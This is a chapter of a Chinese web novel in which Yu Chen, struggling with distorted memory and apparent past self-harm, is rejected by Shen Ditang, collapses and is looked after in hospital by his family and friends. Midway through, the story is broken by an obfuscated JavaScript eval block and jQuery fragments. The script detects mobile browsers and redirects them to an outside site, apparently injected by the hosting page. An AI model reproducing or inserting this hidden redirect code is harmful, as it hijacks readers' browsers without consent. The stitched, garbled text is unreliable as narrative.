“你好难爱啊。”
你也是。
沈棣棠看他一眼，什么都没说。
夹着雨水的冷风吹过，她的发丝飘起又沾水沉下去，带来一阵熟悉的气味，草莓面霜的气味。
“…..草莓味。你明明就还在用。”他说，
“可我们，怎么就又成这样了呢？”
“回去吧。”她再次说。
愉琛没走，自顾自地继续说，仿佛停下就真的要走了，“我没恨你，也没想......没想纠缠你六年，总惹你生气。我就是怕，你走那么快，追都追不上。”
伞依然倾向她，可他手抖得更严重，伸直不好用力，他几乎拿不稳。
她轻轻将伞推回去，他手一松，伞底朝天掉在地上，像早已死去的水母，翻倒在地，兜着冰冷的雨水。
“走吧，我上去了。”沈棣棠没看他。
他却忽然伸手拉住她，于风雨飘摇中抱住浮木。
“我......我有时候记忆会变得很怪，那种跳帧老电影的感觉。”
沈棣棠没挣脱，回头听他继续说这些抽象的东西。
“我能像剪辑电影那样，把记忆拆散，再拼贴，改成正确的样子。”
她大概懂了，眉头皱起：“这不是好事。”
“医生和咨询师也这么说，这不是好习惯。”他冰凉的手握住她手腕，明显的温度差自交握处流向两处心脏。
“我有时候会卡在剪辑的节点，那一帧就永远不停没完没了。”愉琛闭着眼睛说。
“所以.....不对吧，阿花。”他说，“不是这样吧。”
“你别这么叫我。”
“阿花。”他的手更冷，嗓音更哑，“只是吵架吧......”
“这六年，我们只是吵架吵得有点久吧......你怪我没做得更好。”
“不是.....”
“只是吵架，只是吵架。”他像在修正错误似的多说几遍。
“这六年，我们只是吵架吵得有点久....不是不爱了。”
“对吗？”
如老电影跳跃的剪辑，思绪再次回拢时，他已经在洋房客厅的沙发上躺着，像块翻面没翻好，粘成一坨的烙饼。
这次又在卡断点的那一帧，布满雪花色块的那一帧，循环播放。
不对，她说。
然后给他留下个决绝潇洒的背影。
没回头，也没挥手。
愉琛的头重得要命，身体也重得要命，思绪倒是飘着，没一处落脚。
尽管如此，他还是起身去冰箱拿出一桶牛奶，倒了一杯。
这是愉杰临和安玉兰从辽城给他空运过来的，他上次回家摔了一下，脚踝到膝盖青了一片，得补钙。
愉琛把杯子端到嘴边，停顿五秒，又放下，再端起，停顿五秒，喝一小口。
好难喝好难喝。
这牛奶无比昂贵，但无比难喝，透着股腥气。
等会再喝。
他将牛奶放在桌上，走进画室，在地板上躺下。画室内的藏品又多一样，——他没能送出去的宠物蔬菜干，花花绿绿的塑封包装孤零零地躺在门口。
心脏跳得太快，让他微微眩晕，于是他以毒攻毒地将动态相框摆在面前，盯着看一会儿，发呆一会儿。
相框里的他心跳空拍，画框外的他心跳片刻不停，突突个没完。
他摸摸口袋，翻出包紫色的香烟，抽出一根没点，滤嘴朝下立在地上。接着又取出两根，立在旁边。一共三根，像某种诡异的仪式。
烟很细，他略微一动就会倒。倒了他就再立，一动就再倒，这跟扶起来那根又骨碌碌滚走，没完没了。
但他很有耐心，不停地重复。
在画室充了会儿电，他才缓缓起身，去喝那杯难喝的牛奶。
这会儿身子不重了，每一步都像踩在棉花上。
他走到厨房，端着杯子抿了一口，立马冲到水槽前呕吐。没别的，只吐出来些发苦酸水。吐了一会儿，眼压高得吓人，跟眼球要蹦出来似的。
再回头看那杯牛奶，里面已经跟豆花似的结了块，甚至有些发绿。
哦，又剪辑了。
......到底过去多久了？
/
再次恢复意识，他人已经在医院躺着，手背痛得不行。视线中心亮起白光，向四周蔓延，黑色褪成粉再变白变亮。
“……不好意思不好意思。”大约是见他醒了。面前的人语气慌乱，他盯了几秒，才反应过来是护士。
她拿着静脉注射的针头，扎了好几次都都没扎进血管，这会儿手紧张得发抖。
安玉兰站在他脚边，伸头看过来，呼吸随着护士的动作起伏，时不时还隔老远做出吹的动作，跟要隔空帮他吹走疼痛似的。
“要不换个针吧，换个流速低的。”安玉兰总算忍不住说，“让他缓缓，你也缓缓，等会来。”
小护士收起蓝色的针头，转身出去。
“没事儿。”愉琛缓缓说。
“你爸在楼下呢，我打电话让他上来。”安玉兰说。
“不用。”愉琛看看身上的病号服和肿起的手背，笑着说，“让他透口气吧，阿姨。”
“你这孩子.....”安玉兰想说什么，但最终还是不忍说了，改口道，“我跟他说你醒了，省得他担心。”
“郑云找你们了？”愉琛思维缓慢，“我没事，就是低血糖。”
“是低血糖。”安玉兰将床摇起来，语气温柔，“你有事没事都没关系，知道吧？”
愉琛点头。
愉杰临很快就上来，拍拍他肩膀：“一会儿吃点东西，你安姨给你煲了鸡汤。”
愉琛依然点头。
安玉兰翻出个饭盒，说：“你们聊，我找他们帮忙热汤。”
愉杰临笑笑：“行，我们说会儿话。”
等安玉兰出去，愉琛才细细端详愉杰临。他看起来年轻了不少，说话中气十足，带着股中年人特有的精神头。
最神奇的是，他看起来比从前多了很多东西。比如朝气，比如大心脏。
他忽然觉得喉咙发紧，别过头去。
“没事儿啊。”愉杰临拍拍他手，正好拍中针孔，愉琛“嘶”了一声又扭回来。
“哟呵。”愉杰临缩手，半不好意思半好玩地笑两声，“还得你阿姨顾你，我净添乱了。”
“我们家怎么总有人要生病？”愉琛忽然说。
愉杰临好不容易好了，他又变成这样。
愉杰临这回在他另外一只手拍两下，“不是这么说的，不是这么说的。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15750510|161017||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他喃喃重复好几次，才继续说：“赖我，这事赖我。”
“你安姨背后也说我，哪有这么当爸的，没养好孩子。”他又干巴巴地笑两声，“怎么当爸的。”
“不是。”愉琛说。
“这算什么事儿啊。”他某一瞬间又苍老起来，脸上皱纹都深了不少，“怎么你病了，我反倒好了？”
愉琛摇摇头，说：“不是，爸。”
“就是因为我这样，所以你只能好起来。”
愉琛小口小口喝完鸡汤，刚放下碗，愉琅便风风火火地冲进来。
她就连在病房都踩着高跟，深蓝衬衫托特包，咔哒咔哒走到他面前。
“你吃完没？”她连句你好都没说，“你三点跟营养师见一面。”
愉琛说：“行。”
“行什么行。”愉琅皱眉，“你以后照三餐给他拍照。”
“知道了。”他说。
“我安姨呢？”愉琅转头问愉杰临。
“找大夫去了。”
“那跟安姨说一声，我走了。”愉琅人走到门口又回来，从托特包里掏出个红红的盒子，“红参。说了多少次，安姨喝完你跟我说，你想着点。”
愉杰临站起身，错愕道：“就......就走了？”
“我下午有两个委托人要见，两点半飞机。”她说，“走了。”
说完风风火火地走了。
“琅琅，路上慢点啊——”
愉杰临的话压根追不上她风风火火的脚步，愉琛更是全程只来得及说四个字，便目送她出去。
愉杰临失笑：“这臭孩子，真像你妈妈。”
愉琛垂眸看看手腕上蜿蜒丑陋的疤，没说话。
在此之前，白芦是愉杰临的禁区，安玉兰是愉琅的禁区。
在此之后，疤痕取代了白芦与安玉兰。
禁区只关着他自己。
/
愉琛出院后，周翊和付柏杨轮番来找他，这个约饭那个约球，轮着来，跟商量好似的。
可他压根没跟他们说过住院的事。
凌晨三点，周翊一个电话打过来，他立马接起来，听着那边的傻笑。
“嘿嘿，怀民亦未寝啊。”
“又打什么呢？”愉琛问。
“戴夫。”
“......吸尘器？”
“潜水员，吸尘器是戴森。”周翊问，“周日看球去啊？”
“上周日不是刚看过吗？”
“那场刚实锤是假球，我真服了，咱花门票看了场话剧。这周日重看。”
“我真没事。”愉琛说。
“我有事，我得看场真球。”
“我说你们不用轮着来看着我，我没事。”愉琛说。
“谁看着你啊，我无聊。”
“她什么时候找你的？”
“上礼拜....”周翊立马刹车，“上礼拜，我买了个叫潜水员戴夫的游戏，可好玩了，你玩不玩，我号给你。”
愉琛苦笑两声，说：“你让班长也歇歇，别找我了，他最近不是忙增发吗。”
周翊破罐子破摔：“不嫌吵的话，你可以天天跟我玩，我闲得慌。玩吧，不然我没法跟吉姐和我的良心交代。”
“行吧。”他说。
她一向心软。